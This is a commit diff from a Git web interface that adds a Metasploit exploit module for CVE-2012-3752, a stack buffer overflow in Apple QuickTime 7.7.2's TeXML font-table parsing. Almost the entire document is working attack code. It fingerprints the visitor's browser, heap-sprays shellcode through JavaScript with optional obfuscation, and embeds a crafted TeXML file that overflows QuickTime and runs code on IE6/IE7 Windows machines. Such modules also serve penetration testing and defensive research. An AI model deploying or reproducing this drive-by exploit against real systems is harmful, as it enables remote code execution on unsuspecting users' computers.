add module for cve-2012-3752
jvazquez-r7
parent
d95220da59
commit
52ff38ad8a
|
|
@ -0,0 +1,279 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
autopwn_info({
|
||||||
|
:os_name => OperatingSystems::WINDOWS,
|
||||||
|
:javascript => true,
|
||||||
|
:rank => NormalRanking,
|
||||||
|
:ua_name => HttpClients::IE,
|
||||||
|
:ua_minver => "6.0",
|
||||||
|
:ua_maxver => "7.0"
|
||||||
|
})
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Apple QuickTime. When handling
|
||||||
|
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
|
||||||
|
gain arbitrary code execution under the context of the user. This is due to the
|
||||||
|
QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
|
||||||
|
font-table field, which is used to trigger the overflow in this module. Because of
|
||||||
|
QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
|
||||||
|
used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
|
||||||
|
has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
|
||||||
|
'juan vazquez' # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '87087' ],
|
||||||
|
[ 'CVE', '2012-3752' ],
|
||||||
|
[ 'BID', '56557' ],
|
||||||
|
[ 'URL', 'http://support.apple.com/kb/HT5581' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
'InitialAutoRunScript' => 'migrate -f',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "",
|
||||||
|
'Space' => 1000,
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Tested with QuickTime 7.7.2
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[ 'IE 6 on Windows XP SP3', {} ],
|
||||||
|
[ 'IE 7 on Windows XP SP3', {} ],
|
||||||
|
[ 'IE 7 on Windows Vista', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Nov 07 2012',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_target(agent)
|
||||||
|
#If the user is already specified by the user, we'll just use that
|
||||||
|
return target if target.name != 'Automatic'
|
||||||
|
|
||||||
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||||
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||||
|
|
||||||
|
ie_name = "IE #{ie}"
|
||||||
|
|
||||||
|
case nt
|
||||||
|
when '5.1'
|
||||||
|
os_name = 'Windows XP SP3'
|
||||||
|
when '6.0'
|
||||||
|
os_name = 'Windows Vista'
|
||||||
|
when '6.1'
|
||||||
|
os_name = 'Windows 7'
|
||||||
|
end
|
||||||
|
|
||||||
|
targets.each do |t|
|
||||||
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||||
|
print_status("Target selected as: #{t.name}")
|
||||||
|
return t
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def on_request_uri(client, request)
|
||||||
|
|
||||||
|
return if ((p = regenerate_payload(client)) == nil)
|
||||||
|
|
||||||
|
agent = request.headers['User-Agent']
|
||||||
|
my_target = get_target(agent)
|
||||||
|
# Avoid the attack if no suitable target found
|
||||||
|
if my_target.nil?
|
||||||
|
print_error("Browser not supported, sending 404: #{agent}")
|
||||||
|
send_not_found(cli)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if request.uri =~ /\.3gp/
|
||||||
|
print_status("Sending exploit TEXML (target: #{my_target.name})")
|
||||||
|
|
||||||
|
my_payload = "1" * (1024*16)
|
||||||
|
|
||||||
|
texml = <<-eos
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<?quicktime type="application/x-quicktime-texml"?>
|
||||||
|
|
||||||
|
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
|
||||||
|
language="eng" timeScale="600"
|
||||||
|
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
|
||||||
|
<sample duration="2400" keyframe="true">
|
||||||
|
|
||||||
|
<description format="tx3g" displayFlags="ScrollIn"
|
||||||
|
horizontalJustification="Left"
|
||||||
|
verticalJustification="Top"
|
||||||
|
backgroundColor="0%, 0%, 0%, 100%">
|
||||||
|
|
||||||
|
<defaultTextBox x="0" y="0" width="176" height="60"/>
|
||||||
|
<fontTable>
|
||||||
|
<font id="1" name="Times"/>
|
||||||
|
</fontTable>
|
||||||
|
|
||||||
|
<sharedStyles>
|
||||||
|
<style id="1">
|
||||||
|
{font-table: #{my_payload}}
|
||||||
|
{font-style:normal}
|
||||||
|
{font-weight: normal}
|
||||||
|
{font-size: 10}
|
||||||
|
{line-height: 100%}
|
||||||
|
{text-align: right}
|
||||||
|
{text-decoration: underline}
|
||||||
|
{color: 100%, 100%, 100%, 100%}
|
||||||
|
{backgroundcolor: 100%, 100%, 100%, 100%}
|
||||||
|
</style>
|
||||||
|
</sharedStyles>
|
||||||
|
</description>
|
||||||
|
|
||||||
|
<sampleData scrollDelay="200"
|
||||||
|
highlightColor="25%, 45%, 65%, 100%"
|
||||||
|
targetEncoding="utf8">
|
||||||
|
|
||||||
|
<textBox x="10" y="10" width="156" height="40"/>
|
||||||
|
<text styleID="1">What you need... Metasploit!</text>
|
||||||
|
<highlight startMarker="1" endMarker="2"/>
|
||||||
|
<blink startMarker="3" endMarker="4"/>
|
||||||
|
</sampleData>
|
||||||
|
</sample>
|
||||||
|
</text3GTrack>
|
||||||
|
eos
|
||||||
|
|
||||||
|
send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })
|
||||||
|
|
||||||
|
else
|
||||||
|
print_status("Sending initial HTML")
|
||||||
|
|
||||||
|
url = ((datastore['SSL']) ? "https://" : "http://")
|
||||||
|
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
|
||||||
|
url << ":" + datastore['SRVPORT'].to_s
|
||||||
|
url << get_resource
|
||||||
|
|
||||||
|
fname = rand_text_alphanumeric(4)
|
||||||
|
|
||||||
|
#ARCH used by the victim machine
|
||||||
|
arch = Rex::Arch.endian(my_target.arch)
|
||||||
|
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
|
||||||
|
code = Rex::Text.to_unescape(payload.encoded, arch)
|
||||||
|
|
||||||
|
# Spray puts payload on 0x31313131
|
||||||
|
spray = <<-JS
|
||||||
|
var heap_obj = new heapLib.ie(0x20000);
|
||||||
|
var code = unescape("#{code}");
|
||||||
|
var nops = unescape("#{nops}");
|
||||||
|
|
||||||
|
while (nops.length < 0x80000) nops += nops;
|
||||||
|
var offset = nops.substring(0, 0x800 - code.length);
|
||||||
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||||
|
|
||||||
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||||
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||||
|
|
||||||
|
heap_obj.gc();
|
||||||
|
for (var i=0; i < 1600; i++) {
|
||||||
|
heap_obj.alloc(block);
|
||||||
|
}
|
||||||
|
JS
|
||||||
|
|
||||||
|
#Use heaplib
|
||||||
|
js_spray = heaplib(spray)
|
||||||
|
|
||||||
|
#obfuscate on demand
|
||||||
|
if datastore['OBFUSCATE']
|
||||||
|
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
|
||||||
|
js_spray.obfuscate
|
||||||
|
end
|
||||||
|
|
||||||
|
content = "<html>"
|
||||||
|
content << <<-JSPRAY
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
#{js_spray}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
JSPRAY
|
||||||
|
content << "<body>"
|
||||||
|
content << <<-ENDEMBED
|
||||||
|
<OBJECT
|
||||||
|
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
|
||||||
|
WIDTH="1"
|
||||||
|
HEIGHT="1"
|
||||||
|
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
|
||||||
|
<PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp">
|
||||||
|
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp">
|
||||||
|
<PARAM name="AUTOPLAY" VALUE = "true" >
|
||||||
|
<PARAM name="TYPE" VALUE = "video/quicktime" >
|
||||||
|
<PARAM name="TARGET" VALUE = "myself" >
|
||||||
|
<EMBED
|
||||||
|
SRC = "#{url}/#{fname}.3gp"
|
||||||
|
QTSRC = "#{url}/#{fname}.3gp"
|
||||||
|
TARGET = "myself"
|
||||||
|
WIDTH = "1"
|
||||||
|
HEIGHT = "1"
|
||||||
|
AUTOPLAY = "true"
|
||||||
|
PLUGIN = "quicktimeplugin"
|
||||||
|
TYPE = "video/quicktime"
|
||||||
|
CACHE = "false"
|
||||||
|
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
|
||||||
|
</EMBED>
|
||||||
|
</OBJECT>
|
||||||
|
ENDEMBED
|
||||||
|
content << "</body></html>"
|
||||||
|
|
||||||
|
send_response(client, content, { 'Content-Type' => "text/html" })
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
=begin
|
||||||
|
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
|
||||||
|
|
||||||
|
int __fastcall sub_67EED2B0(int a1, int a2)
|
||||||
|
{
|
||||||
|
int result; // eax@1
|
||||||
|
unsigned __int8 v3; // cl@2
|
||||||
|
|
||||||
|
for ( result = 0; ; ++result )
|
||||||
|
{
|
||||||
|
v3 = *(_BYTE *)a2++ - 0x30;
|
||||||
|
if ( v3 > 9u )
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
=end
|
||||||
Loading…
Reference in New Issue